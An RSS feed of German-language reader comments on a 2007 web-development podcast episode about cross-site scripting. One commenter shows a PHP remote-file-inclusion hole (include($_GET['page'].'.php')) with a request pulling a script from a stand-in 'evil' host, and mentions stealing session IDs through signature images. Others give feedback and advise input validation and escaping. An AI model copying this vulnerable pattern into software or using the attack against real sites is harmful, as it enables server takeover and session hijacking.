<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
	>
<channel>
	<title>Kommentare zu: Technikwürze 84 &#8211; Böses Cross-Site Scripting</title>
	<atom:link href="http://technikwuerze.de/podcast/technikwuerze84/feed/" rel="self" type="application/rss+xml" />
	<link>http://technikwuerze.de/podcast/technikwuerze84/</link>
	<description>Technikwürze ist der führende Podcast für Webentwickler im deutschsprachigen Raum. Eine auditive Sendung bekannter Macher rund um Webstandards.</description>
	<lastBuildDate>Mon, 21 May 2012 11:04:22 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>Von: Julian</title>
		<link>http://technikwuerze.de/podcast/technikwuerze84/#comment-17088</link>
		<dc:creator>Julian</dc:creator>
		<pubDate>Mon, 13 Aug 2007 12:26:22 +0000</pubDate>
		<guid isPermaLink="false">http://www.technikwuerze.de/podcast/technikwuerze84/#comment-17088</guid>
		<description>Leider hap ich ein paar Fehler gemacht.
&gt; about und im PHP dann
sollte eigentlich
&quot;http://www.meine.seite.de/index.php?page=about und im PHP dann&quot;
heißen,
&gt; Jetzt rufen wir die Seite mal so auf:
&gt; meine.seite.de/index.php?page=
sollte eigentlich
&quot;Jetzt rufen wir die Seite mal so auf:
meine.seite.de/index.php?page=http://www.boese.seite.de/script.php&quot;
heißen.

Julian</description>
		<content:encoded><![CDATA[<p>Leider hap ich ein paar Fehler gemacht.<br />
&gt; about und im <span class="caps"><acronym title="Hypertext PreProcessing">PHP</acronym></span> dann<br />
sollte eigentlich<br />
&#8220;<a href="http://www.meine.seite.de/index.php?page=about" rel="nofollow"></a><a href='http://www.meine.seite.de/index.php?page=about'></a><a href='http://www.meine.seite.de/index.php?page=about'>meine.seite.de/index.php?page=...</a> und im <span class="caps"><acronym title="Hypertext PreProcessing">PHP</acronym></span> dann&#8221;<br />
heißen,<br />
&gt; Jetzt rufen wir die Seite mal so auf:<br />
&gt; meine.seite.de/index.php?page=<br />
sollte eigentlich<br />
&#8220;Jetzt rufen wir die Seite mal so auf:<br />
meine.seite.de/index.php?page=http://www.boese.seite.de/script.php&#8221;<br />
heißen.</p>
<p>Julian</p>
]]></content:encoded>
	</item>
	<item>
		<title>Von: Julian</title>
		<link>http://technikwuerze.de/podcast/technikwuerze84/#comment-17087</link>
		<dc:creator>Julian</dc:creator>
		<pubDate>Mon, 13 Aug 2007 12:23:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.technikwuerze.de/podcast/technikwuerze84/#comment-17087</guid>
		<description>Also entweder ich hab was überhört, oder ihr habt 2 Sachen vergessen:
 * Irgendwelche Grafiken in Signaturen in Foren oder so ähnlich. Damit lassen sich die Session IDs ganz gut abfangen: Die den Refferer speichern, oft enthält diese einen GET Paramaeter mit der Session ID: http://www.mein.forum.de/index.php?sid=1234567890abcdef1234567890abcdef
 * include() in PHP.
about und im PHP dann include($_GET[&#039;page&#039;].&#039;.php&#039;);
Jetzt rufen wir die Seite mal so auf: http://www.meine.seite.de/index.php?page=
Was passiert dann? Genau, http://www.boese.seite.de/script.php wird includet und der Code ausgeführt. Und jetzt kommt nicht, dass der Code auf dem anderen Server ausgeführt wird. Dieser hat villeicht garkeinen PHP Parser oder es wurde z.B. per .htaccess deaktiviert. Schon kann man auch auf die Datenbank zugreifen u.s.w.

Julian</description>
		<content:encoded><![CDATA[<p>Also entweder ich hab was überhört, oder ihr habt 2 Sachen vergessen:<br />
 * Irgendwelche Grafiken in Signaturen in Foren oder so ähnlich. Damit lassen sich die Session IDs ganz gut abfangen: Die den Refferer speichern, oft enthält diese einen <span class="caps">GET</span> Paramaeter mit der Session ID: <a href="http://www.mein.forum.de/index.php?sid=1234567890abcdef1234567890abcdef" rel="nofollow"></a><a href='http://www.mein.forum.de/index.php?sid=1234567890abcdef1234567890abcdef'></a><a href='http://www.mein.forum.de/index.php?sid=1234567890abcdef1234567890abcdef'>mein.forum.de/index.php?sid=12...</a><br />
 * include() in <span class="caps"><acronym title="Hypertext PreProcessing">PHP</acronym></span>.<br />
about und im <span class="caps"><acronym title="Hypertext PreProcessing">PHP</acronym></span> dann include($_GET[&#8216;page&#8217;].&#8217;.php&#8217;);<br />
Jetzt rufen wir die Seite mal so auf: <a href="http://www.meine.seite.de/index.php?page=" rel="nofollow"></a><a href='http://www.meine.seite.de/index.php?page='></a><a href='http://www.meine.seite.de/index.php?page='>meine.seite.de/index.php?page=</a><br />
Was passiert dann? Genau, <a href="http://www.boese.seite.de/script.php" rel="nofollow"></a><a href='http://www.boese.seite.de/script.php'></a><a href='http://www.boese.seite.de/script.php'>boese.seite.de/script.php</a> wird includet und der Code ausgeführt. Und jetzt kommt nicht, dass der Code auf dem anderen Server ausgeführt wird. Dieser hat villeicht garkeinen <span class="caps"><acronym title="Hypertext PreProcessing">PHP</acronym></span> Parser oder es wurde <abbr title="zum Beispiel">z.B. </abbr>per .htaccess deaktiviert. Schon kann man auch auf die Datenbank zugreifen u.s.w.</p>
<p>Julian</p>
]]></content:encoded>
	</item>
	<item>
		<title>Von: Jim</title>
		<link>http://technikwuerze.de/podcast/technikwuerze84/#comment-17079</link>
		<dc:creator>Jim</dc:creator>
		<pubDate>Fri, 10 Aug 2007 10:27:28 +0000</pubDate>
		<guid isPermaLink="false">http://www.technikwuerze.de/podcast/technikwuerze84/#comment-17079</guid>
		<description>Wie immer interessant – jedoch weiss ich eigentlich immer noch nicht, was Cross Side Scripting eigentlich ist.

Es wurde eher auf Programmier-Aspekte/Vorbeugung eingegangen, als zuvor eine die Thematik allgemein zu erklären.

Bin diesmal leider nicht wirklich schlauer geworden – aber dennoch herzlichen Dank und weiter so!!!

Jim</description>
		<content:encoded><![CDATA[<p>Wie immer interessant – jedoch weiss ich eigentlich immer noch nicht, was Cross Side Scripting eigentlich ist.</p>
<p>Es wurde eher auf Programmier-Aspekte/Vorbeugung eingegangen, als zuvor eine die Thematik allgemein zu erklären.</p>
<p>Bin diesmal leider nicht wirklich schlauer geworden – aber dennoch herzlichen Dank und weiter so!!!</p>
<p>Jim</p>
]]></content:encoded>
	</item>
	<item>
		<title>Von: Cross Site Scripting (XSS) &#124; bueltge.de [by:ltge.de]</title>
		<link>http://technikwuerze.de/podcast/technikwuerze84/#comment-17077</link>
		<dc:creator>Cross Site Scripting (XSS) &#124; bueltge.de [by:ltge.de]</dc:creator>
		<pubDate>Thu, 09 Aug 2007 11:49:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.technikwuerze.de/podcast/technikwuerze84/#comment-17077</guid>
		<description>[...] Technikw&#252;rze 84 - B&#246;ses Cross-Site Scripting (Podcast) [...]</description>
		<content:encoded><![CDATA[<p>[&#8230;] Technikw&uuml;rze 84 &#8211; B&ouml;ses Cross-Site Scripting (Podcast) [&#8230;]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Von: Julian Schrader</title>
		<link>http://technikwuerze.de/podcast/technikwuerze84/#comment-17076</link>
		<dc:creator>Julian Schrader</dc:creator>
		<pubDate>Wed, 08 Aug 2007 17:49:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.technikwuerze.de/podcast/technikwuerze84/#comment-17076</guid>
		<description>Gegen Probleme mit der Validierung von Benutzereingaben bzw. mit Injections bietet Ruby on Rails gute Mittel â€”Â die eingebauten Validierungsoptionen sind beispielhaft…</description>
		<content:encoded><![CDATA[<p>Gegen Probleme mit der Validierung von Benutzereingaben <abbr title="beziehungsweise">bzw. </abbr>mit Injections bietet Ruby on Rails gute Mittel â€”Â die eingebauten Validierungsoptionen sind beispielhaft…</p>
]]></content:encoded>
	</item>
	<item>
		<title>Von: Clemens</title>
		<link>http://technikwuerze.de/podcast/technikwuerze84/#comment-17075</link>
		<dc:creator>Clemens</dc:creator>
		<pubDate>Tue, 07 Aug 2007 15:54:06 +0000</pubDate>
		<guid isPermaLink="false">http://www.technikwuerze.de/podcast/technikwuerze84/#comment-17075</guid>
		<description>Danke für diese Folge - sie hat mir das Thema XSS nähergebracht und hat dafür gesorgt, dass ich ab jetzt ein bisschen mehr auf die ein oder andere XSS-Lücke achten werde. Die einfachsten Sicherheitsmaßregeln kannte ich (wie wahrscheinlich viele hier) zwar schon, aber die ein oder andere Lücke war dabei, dir mir neu war.</description>
		<content:encoded><![CDATA[<p>Danke für diese Folge &#8211; sie hat mir das Thema <span class="caps">XSS</span> nähergebracht und hat dafür gesorgt, dass ich ab jetzt ein bisschen mehr auf die ein oder andere <span class="caps">XSS</span>-Lücke achten werde. Die einfachsten Sicherheitsmaßregeln kannte ich (wie wahrscheinlich viele hier) zwar schon, aber die ein oder andere Lücke war dabei, dir mir neu war.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Von: Kevin</title>
		<link>http://technikwuerze.de/podcast/technikwuerze84/#comment-17074</link>
		<dc:creator>Kevin</dc:creator>
		<pubDate>Tue, 07 Aug 2007 09:00:07 +0000</pubDate>
		<guid isPermaLink="false">http://www.technikwuerze.de/podcast/technikwuerze84/#comment-17074</guid>
		<description>Ich fand es ganz gut erklärt. Ich verstehe als Programmierlaie das ein oder andere mehr. Hätte mir zwar mehr Hinweise zur Vorbeugung erwartet, aber nachdem ich jetzt mal selber etwas weitergelesen habe (und leider feststelle, dass meine PHP Entwicklungen furchtbar anfällig sind) muss ich sagen, dass das für einen Podcast echt schwer gewesen wäre. 

Danke auf jeden Fall für die Hilfe zur Selbsthilfe! ;)</description>
		<content:encoded><![CDATA[<p>Ich fand es ganz gut erklärt. Ich verstehe als Programmierlaie das ein oder andere mehr. Hätte mir zwar mehr Hinweise zur Vorbeugung erwartet, aber nachdem ich jetzt mal selber etwas weitergelesen habe (und leider feststelle, dass meine <span class="caps"><acronym title="Hypertext PreProcessing">PHP</acronym></span> Entwicklungen furchtbar anfällig sind) muss ich sagen, dass das für einen Podcast echt schwer gewesen wäre. </p>
<p>Danke auf jeden Fall für die Hilfe zur Selbsthilfe! <img src='http://technikwuerze.de/blogmin/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>Von: Manuela</title>
		<link>http://technikwuerze.de/podcast/technikwuerze84/#comment-17073</link>
		<dc:creator>Manuela</dc:creator>
		<pubDate>Mon, 06 Aug 2007 22:08:53 +0000</pubDate>
		<guid isPermaLink="false">http://www.technikwuerze.de/podcast/technikwuerze84/#comment-17073</guid>
		<description>Das Thema wäre gut, würden die beiden Redner es auch den Laien, die davon betroffen sein werden, es verständlich erklären. Leider finde ich die Erklärungen ziemlich umständlich und für einfache Benutzer nicht nicht nachvollziehbar.</description>
		<content:encoded><![CDATA[<p>Das Thema wäre gut, würden die beiden Redner es auch den Laien, die davon betroffen sein werden, es verständlich erklären. Leider finde ich die Erklärungen ziemlich umständlich und für einfache Benutzer nicht nicht nachvollziehbar.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Von: Markus Wulftange</title>
		<link>http://technikwuerze.de/podcast/technikwuerze84/#comment-17072</link>
		<dc:creator>Markus Wulftange</dc:creator>
		<pubDate>Mon, 06 Aug 2007 08:49:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.technikwuerze.de/podcast/technikwuerze84/#comment-17072</guid>
		<description>Ich finde es gut, dass ihr auch Sicherheitsthemen ansprecht, die meiner Meinung nach leider nur sehr selten behandelt werden.

Cross-Site Scripting bezieht sich allerdings eigentlich nur auf Angriffe, die durch Injizierung von Schadcode beim Client ausgeführt werden, also typischerweise JavaScript-Schnipsel. Die anderen genannten Sicherheitsgefahren (SQL-Injektionen, Session Hijacking) wären also eher Themen für sich.

Allgemein sollten jedoch jegliche offensichtliche und versteckte Benutzereingaben durch eine Kombination aus Validierung (Erkennen von Fehleingaben), Filternung (Entfernen der Fehleingaben) und Maskierung (Entschärfen der Metazeichen) verarbeitet werden. Denn die meisten Sicherheitsgefahren (so etwa Cross-Site Scripting, SQL-Injektionen) werden durch fehlende oder ungenügende Maskierung der Metazeichen ermöglicht.</description>
		<content:encoded><![CDATA[<p>Ich finde es gut, dass ihr auch Sicherheitsthemen ansprecht, die meiner Meinung nach leider nur sehr selten behandelt werden.</p>
<p>Cross-Site Scripting bezieht sich allerdings eigentlich nur auf Angriffe, die durch Injizierung von Schadcode beim Client ausgeführt werden, also typischerweise JavaScript-Schnipsel. Die anderen genannten Sicherheitsgefahren (<span class="caps"><acronym title="Structured Query Language (a database standard)">SQL</acronym></span>-Injektionen, Session Hijacking) wären also eher Themen für sich.</p>
<p>Allgemein sollten jedoch jegliche offensichtliche und versteckte Benutzereingaben durch eine Kombination aus Validierung (Erkennen von Fehleingaben), Filternung (Entfernen der Fehleingaben) und Maskierung (Entschärfen der Metazeichen) verarbeitet werden. Denn die meisten Sicherheitsgefahren (so <abbr title="etwas">etw. </abbr>Cross-Site Scripting, <span class="caps"><acronym title="Structured Query Language (a database standard)">SQL</acronym></span>-Injektionen) werden durch fehlende oder ungenügende Maskierung der Metazeichen ermöglicht.</p>
]]></content:encoded>
	</item>
</channel>
</rss>

